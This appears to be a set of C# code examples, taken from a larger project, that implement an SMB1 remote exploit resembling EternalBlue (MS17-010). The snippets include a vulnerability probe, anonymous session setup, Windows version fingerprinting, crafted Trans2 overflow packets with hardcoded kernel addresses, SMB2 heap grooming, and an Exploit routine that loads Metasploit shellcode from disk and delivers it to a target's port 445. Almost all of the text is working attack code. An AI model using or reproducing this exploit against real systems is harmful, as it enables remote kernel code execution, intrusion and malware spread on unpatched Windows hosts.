Beispiel #1
0
        static public bool CheckVulnerability(Socket sock)
        {
            bool       vulnerable = false;
            SMB_HEADER header     = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x25,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0x2801,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = 0x0800,
                PIDLow = 0x5604,
                UID    = 0x0800,
                MID    = 0x8624
            };

            byte[] headerBytes = GetBytes(header);

            SMB_COM_TRANSACTION_REQUEST transRequest = new SMB_COM_TRANSACTION_REQUEST
            {
                WordCount           = 0x10,
                TotalParameterCount = 0x0000,
                TotalDataCount      = 0x0000,
                MaxParameterCount   = 0xffff,
                MaxDataCount        = 0xffff,
                MaxSetupCount       = 0x00,
                Reserved            = 0x00,
                Flags           = 0x0000,
                Timeout         = 0x00000000,
                Reserved2       = 0x0000,
                ParameterCount  = 0x0000,
                ParameterOffset = 0x004a,
                DataCount       = 0x0000,
                DataOffset      = 0x004a,
                SetupCount      = 0x02,
                Reserved3       = 0x00,
                Function        = 0x0023,
                FID             = 0x0000
            };

            byte[] transactionName = Encoding.UTF8.GetBytes("\\PIPE\\\0");
            transRequest.ByteCount = (ushort)transactionName.Length;

            byte[] transRequestBytes = GetBytes(transRequest).Concat(transactionName).ToArray();
            byte[] pkt = headerBytes.Concat(transRequestBytes).ToArray();
            SendSMBMessage(sock, pkt, true);

            header = SMB_HeaderFromBytes(ReceiveSMBMessage(sock));
            if (header.errorClass == 0x05 && header._reserved == 0x02 && header.errorCode == 0xc000) //This equals STATUS_INSUFF_SERVER_RESOURCES
            {
                return(true);
            }
            return(vulnerable);
        }
Beispiel #2
0
 static public bool IsValidSMB1Header(SMB_HEADER header)
 {
     if (header.protocol == 0x424d53ff)
     {
         return(true);
     }
     return(false);
 }
Beispiel #3
0
        static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr)
        {
            SMB_HEADER str  = new SMB_HEADER();
            int        size = Marshal.SizeOf(str);
            IntPtr     ptr  = Marshal.AllocHGlobal(size);

            Marshal.Copy(arr, 0, ptr, size);
            str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType());
            Marshal.FreeHGlobal(ptr);
            return(str);
        }
Beispiel #4
0
        static public byte[] MakeSMB1NTTransPacket(ushort TID, ushort UID)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0xa0,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0xc007,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = TID,
                PIDLow = 0xfeff,
                UID    = UID,
                MID    = 0x0040
            };

            byte[] headerBytes = GetBytes(header);

            SMB_COM_NT_TRANSACT_REQUEST NTtransactionRequest = new SMB_COM_NT_TRANSACT_REQUEST
            {
                WordCount           = 0x14,
                MaxSetupCount       = 0x01,
                Reserved            = 0x0000,
                TotalParameterCount = 0x0000001e,
                TotalDataCount      = 0x000103d0,
                MaxParameterCount   = 0x0000001e,
                MaxDataCount        = 0x00000000,
                ParameterCount      = 0x0000001e,
                ParameterOffset     = 0x0000004b,
                DataCount           = 0x000003d0,
                DataOffset          = 0x00000068,
                SetupCount          = 0x01,
                Function            = 0x0000,
                Setup = 0x0000
            };
            //Add SMBData
            List <byte> SMBData = new List <byte>();

            SMBData.AddRange(Enumerable.Repeat((byte)0x00, 31));
            SMBData.Add(0x01);
            SMBData.AddRange(Enumerable.Repeat((byte)0x00, 973));
            NTtransactionRequest.ByteCount = (ushort)(SMBData.Count - 1);
            //Merge SMBHeader with the NTTransactionRequest
            byte[] NTtransactionRequestBytes = GetBytes(NTtransactionRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(NTtransactionRequestBytes).ToArray();
            return(pkt);
        }
Beispiel #5
0
        static public byte[] SMB1AnonymousLogin(Socket sock)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x73,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0xc007,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = 0xfeff,
                PIDLow = 0x0000,
                UID    = 0x0000,
                MID    = 0x0040
            };

            byte[] headerBytes = GetBytes(header);

            SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new SMB_COM_SESSION_SETUP_ANDX_REQUEST
            {
                WordCount          = 0x0d,
                AndxCommand        = 0xff,
                reserved1          = 0x00,
                AndxOffset         = 0x0088,
                MaxBuffer          = 0x1104,
                MaxMpxCount        = 0x00a0,
                VcNumber           = 0x0000,
                SessionKey         = 0x00000000,
                OEMPasswordLen     = 0x0001,
                UnicodePasswordLen = 0x0000,
                Reserved2          = 0x00000000,
                Capabilities       = 0x000000d4
            };
            List <byte> SMBData = new List <byte>();

            byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 };
            SMBData.AddRange(nulls);
            SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \02\01\09\05\0\0\0"));
            SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0"));
            AndxRequest.ByteCount = (ushort)SMBData.Count;

            byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray();
            SendSMBMessage(sock, pkt, true);
            return(ReceiveSMBMessage(sock));
        }
Beispiel #6
0
        static public void DetectVersionOfWindows(byte[] res)
        {
            SMB_HEADER header = SMB_HeaderFromBytes(res);

            if (!IsValidSMB1Header(header))
            {
                Console.WriteLine("Did not receive proper response when determining version... Are you sure this server is running SMB?");
                return;
            }
            int sizeOfHeader = Marshal.SizeOf(header);
            SMB_COM_SESSION_SETUP_ANDX_RESPONSE andxr = SMB_AndxResponseFromBytes(res.Skip(sizeOfHeader).ToArray());
            int byteCount   = andxr.ByteCount;
            int sizeOfAndxr = Marshal.SizeOf(andxr);

            byte[] data      = res.Skip(sizeOfHeader + sizeOfAndxr + 1).ToArray().Take(byteCount).ToArray(); //The 1 is for Padding- This could become a problem
            string hexString = BitConverter.ToString(data).Replace("-00-00-00-", "&");                       //The SMB data is split using 3 0x00 bytes, these are changed to an '&' for easier split

            string[] hexStringSplit = hexString.Split('&');

            for (int i = 0; i < 3; i++)
            {
                StringBuilder strbuilder = new StringBuilder();
                string[]      charArray  = hexStringSplit[i].Split('-');
                foreach (string chars in charArray)
                {
                    int  value     = Convert.ToInt32(chars, 16);
                    char charValue = (char)value;
                    if (charValue != 0)
                    {
                        strbuilder.Append(charValue);
                    }
                }
                if (i == 0)
                {
                    Console.WriteLine("Native OS: " + strbuilder.ToString());
                }
                else if (i == 1)
                {
                    Console.WriteLine("Native LAN Manager: " + strbuilder.ToString());
                }
                else if (i == 2)
                {
                    Console.WriteLine("Domain: " + strbuilder.ToString());
                }
            }
        }
Beispiel #7
0
        static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x75,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0x2001,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = 0xfeff,
                PIDLow = 0x4b2f,
                UID    = UID,
                MID    = 0x5ec5
            };

            byte[] headerBytes = GetBytes(header);

            SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new SMB_COM_TREE_CONNECT_ANDX_REQUEST
            {
                WordCount      = 0x04,
                AndXCommand    = 0xff,
                AndXReserved   = 0x00,
                AndXOffset     = 0x0000,
                Flags          = 0x0000,
                PasswordLength = 0x0001,
            };

            byte[]      PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" + "\0?????\0");
            List <byte> SMBData          = new List <byte>();

            SMBData.Add(0x00);                  //Password
            SMBData.AddRange(PathServiceBytes); //Path + Service
            treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count;

            byte[] TreeConnectAndxRequestBytes = GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray();

            SendSMBMessage(sock, pkt, true);
            return(ReceiveSMBMessage(sock));
        }
Beispiel #8
0
        static public byte[] MakeSMB1EchoPacket(ushort TID, ushort UID)
        {
            NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
            {
                MessageTypeAndSize = 0x31000000
            };

            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x2b,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x98,
                flags2           = 0xc007,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = TID,
                PIDLow = 0xfeff,
                UID    = UID,
                MID    = 0x0040
            };

            byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();

            SMB_COM_ECHO_REQUEST echoRequest = new SMB_COM_ECHO_REQUEST
            {
                WordCount          = 0x1,
                EchoSequenceNumber = 0x0001,
            };

            //Add SMBData
            List <byte> SMBData = new List <byte>();

            SMBData.AddRange(Enumerable.Repeat((byte)0x41, 11));
            SMBData.Add(0x00);
            echoRequest.ByteCount = (ushort)(SMBData.Count);
            //Merge SMBHeader with the echoRequest
            byte[] echoRequestBytes = GetBytes(echoRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(echoRequestBytes).ToArray();
            return(pkt);
        }
Beispiel #9
0
        static public byte[] ClientNegotiate(Socket sock)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x72,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0x2801,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = 0x0000,
                PIDLow = 0x4b2f,
                UID    = 0x0000,
                MID    = 0x5ec5
            };

            byte[] headerBytes = GetBytes(header);

            SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST
            {
                WordCount = 0x00
            };
            List <byte> dialects = new List <byte>();

            dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0"));
            req.ByteCount = (ushort)dialects.Count;

            byte[] negotitateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray();
            string hex = BitConverter.ToString(negotitateRequest);

            byte[] pkt = headerBytes.Concat(negotitateRequest).ToArray();
            SendSMBMessage(sock, pkt, true);
            return(ReceiveSMBMessage(sock));
        }
Beispiel #10
0
        static bool Detect(string target)
        {
            string ip   = target;
            int    port = 445;

            try
            {
                TcpClient client = new TcpClient(ip, port);
                Socket    sock   = client.Client;

                ClientNegotiate(sock);
                byte[] response = SMB1AnonymousLogin(sock);
                Console.WriteLine("Trying to detect version of Windows running on " + target + " ...");
                DetectVersionOfWindows(response);

                SMB_HEADER header = SMB_HeaderFromBytes(response);
                TreeConnectAndXRequest(ip, sock, header.UID);

                //This is checked with userid 2049 and not 2048
                bool vulnerable = CheckVulnerability(sock);
                if (vulnerable)
                {
                    Console.WriteLine(target + " appears to be vulnerable!");
                    sock.Close();
                    client.Close();
                    return(true);
                }
                else
                {
                    Console.WriteLine("IP: " + target + " does not appears to be vulnerable!");
                    sock.Close();
                    client.Close();
                }
            }
            catch
            {
                return(false);
            }
            return(false);
        }
Beispiel #11
0
        static public byte[] SMB1LargeBuffer(SMB_HEADER header, Socket sock)
        {
            //Send and Recveive NT Trans packet
            byte[] nt_trans_pkt = MakeSMB1NTTransPacket(header.TID, header.UID);
            SendSMBMessage(sock, nt_trans_pkt, true);
            ReceiveSMBMessage(sock);

            //initial trans2 request
            byte[] trans_pkt_nulled = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_zero", 0);

            //Send all but the last packet
            for (int i = 1; i <= 14; i++)
            {
                byte[] temp = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_buffer", i);
                trans_pkt_nulled = trans_pkt_nulled.Concat(temp).ToArray();
            }
            //Create SMB1 Echo packet
            byte[] echo = MakeSMB1EchoPacket(header.TID, header.UID);
            trans_pkt_nulled = trans_pkt_nulled.Concat(echo).ToArray();
            SendSMBMessage(sock, trans_pkt_nulled, false);

            return(ReceiveSMBMessage(sock));
        }
Beispiel #12
0
        static public byte[] MakeSMB1Trans2ExploitPacket(ushort TID, ushort UID, string type, int time)
        {
            NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
            {
                MessageTypeAndSize = 0x35100000
            };

            SMB_HEADER header = new SMB_HEADER
            {
                protocol         = 0x424d53ff,
                command          = 0x33,
                errorClass       = 0x00,
                _reserved        = 0x00,
                errorCode        = 0x0000,
                flags            = 0x18,
                flags2           = 0xc007,
                PIDHigh          = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved         = 0x0000,
                TID    = TID,
                PIDLow = 0xfeff,
                UID    = UID,
                MID    = 0x0040
            };

            byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();

            SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST
            {
                WordCount             = 0x09,
                TotalParameterCount   = 0x0102,
                TotalDataCount        = 0x1000,
                ParameterCount        = 0x0000,
                ParameterOffset       = 0x0000,
                ParameterDisplacement = 0x0000,
                DataCout         = 0x1000,
                DataOffset       = 0x0035,
                DataDisplacement = 0x0000, //we change this with our timeout int later
                FID       = 0x0000,
                ByteCount = 0x1000
            };
            int timeout = (time * 16) + 3;

            transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0, BitConverter.GetBytes(timeout)[0] }, 0);
            //Merge SMBHeader with the transaction2SecondaryRequest
            byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest);
            byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray();

            if (type.Equals("eb_trans2_exploit"))
            {
                List <byte> SMBData = new List <byte>();

                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2957));
                SMBData.AddRange(new List <byte>()
                {
                    0x80, 0x00, 0xa8, 0x00
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 16));
                SMBData.AddRange(new List <byte>()
                {
                    0xff, 0xff
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 6));
                SMBData.AddRange(new List <byte>()
                {
                    0xff, 0xff
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 22));
                SMBData.AddRange(new List <byte>()
                {
                    0x00, 0xf1, 0xdf, 0xff // x86 addresses
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 8));
                SMBData.AddRange(new List <byte>()
                {
                    0x20, 0xf0, 0xdf, 0xff, 0x00, 0xf1, 0xdf, 0xff, 0xff, 0xff, 0xff, 0xff, 0x60, 0x00, 0x04, 0x10
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
                SMBData.AddRange(new List <byte>()
                {
                    0x80, 0xef, 0xdf, 0xff
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4));
                SMBData.AddRange(new List <byte>()
                {
                    0x10, 0x00, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x18, 0x01, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x10));
                SMBData.AddRange(new List <byte>()
                {
                    0x60, 0x00, 0x04, 0x10
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xc));
                SMBData.AddRange(new List <byte>()
                {
                    0x90, 0xff, 0xcf, 0xff, 0xff, 0xff, 0xff, 0xff
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x8));
                SMBData.AddRange(new List <byte>()
                {
                    0x80, 0x10
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xe));
                SMBData.AddRange(new List <byte>()
                {
                    0x39, 0xbb
                });
                SMBData.AddRange(Enumerable.Repeat((byte)0x41, 965));
                pkt = pkt.Concat(SMBData.ToArray()).ToArray();
                return(pkt);
            }

            if (type.Equals("eb_trans2_zero"))
            {
                List <byte> SMBData = new List <byte>();
                SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2055));
                SMBData.Add(0x83);
                SMBData.Add(0xf3);
                SMBData.AddRange(Enumerable.Repeat((byte)0x41, 2039));
                pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
                return(pkt);
            }
            else
            {
                List <byte> SMBData = new List <byte>();
                SMBData.AddRange(Enumerable.Repeat((byte)0x41, 4096));
                pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
            }

            return(pkt);
        }
Beispiel #13
0
        static void Exploit(string target)
        {
            string    ip     = target;
            int       port   = 445;
            int       grooms = 12;
            TcpClient client = new TcpClient(ip, port);
            Socket    sock   = client.Client;

            FileStream fs = new FileStream(
                @"C:\Users\victim1\Desktop\sc_4445_msf.bin",
                FileMode.Open,
                FileAccess.Read);
            BinaryReader br       = new BinaryReader(fs);
            long         numBytes = new FileInfo(@"C:\Users\victim1\Desktop\sc_4445_msf.bin").Length;

            byte[] buf              = br.ReadBytes((int)numBytes);
            byte[] shellcode        = MakeKernelUserPayload(buf);
            byte[] payload_hdr_pkt  = MakeSMB2PayLoadHeadersPacket();
            byte[] payload_body_pkt = MakeSMB2PayloadBodyPacket(shellcode);

            Console.WriteLine("Trying to exploit: " + target);
            ClientNegotiate(sock);
            byte[]     response = SMB1AnonymousLogin(sock);
            SMB_HEADER header   = SMB_HeaderFromBytes(response);

            response            = TreeConnectAndXRequest(ip, sock, header.UID);
            header              = SMB_HeaderFromBytes(response);
            sock.ReceiveTimeout = 2000;
            Console.WriteLine("Connection established for exploitation.");

            Console.WriteLine("Creating a large SMB1 buffer... All but last fragment of exploit packet");
            SMB1LargeBuffer(header, sock);
            Socket fhs_sock = SMB1FreeHole(ip, port, true);

            Console.WriteLine("Grooming...");
            List <Socket> grooms_socks = new List <Socket>();

            grooms_socks = SMB2Grooms(ip, port, grooms, payload_hdr_pkt, grooms_socks);
            Socket fhf_sock = SMB1FreeHole(ip, port, false);

            fhs_sock.Close();
            grooms_socks = SMB2Grooms(ip, port, 6, payload_hdr_pkt, grooms_socks);
            fhf_sock.Close();

            Console.WriteLine("Ready for final exploit...");
            byte[] final_exploit_pkt = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_exploit", 15);

            try
            {
                SendSMBMessage(sock, final_exploit_pkt, false);
                response = ReceiveSMBMessage(sock);
                header   = new SMB_HEADER();
                header   = SMB_HeaderFromBytes(response);
            }
            catch (Exception e)
            {
                Console.WriteLine("Socket error, this might end badly" + e.Message);
            }

            Console.WriteLine("Sending exploits with the grooms");
            foreach (Socket s in grooms_socks)
            {
                SendSMBMessage(s, payload_body_pkt.Take(2920).ToArray(), false);
            }
            foreach (Socket s in grooms_socks)
            {
                SendSMBMessage(s, payload_body_pkt.Skip(2920).ToArray(), false);
            }
            foreach (Socket s in grooms_socks)
            {
                s.Close();
            }
            Console.WriteLine("Exploit send successfully...");
            client.Close();
            sock.Close();
        }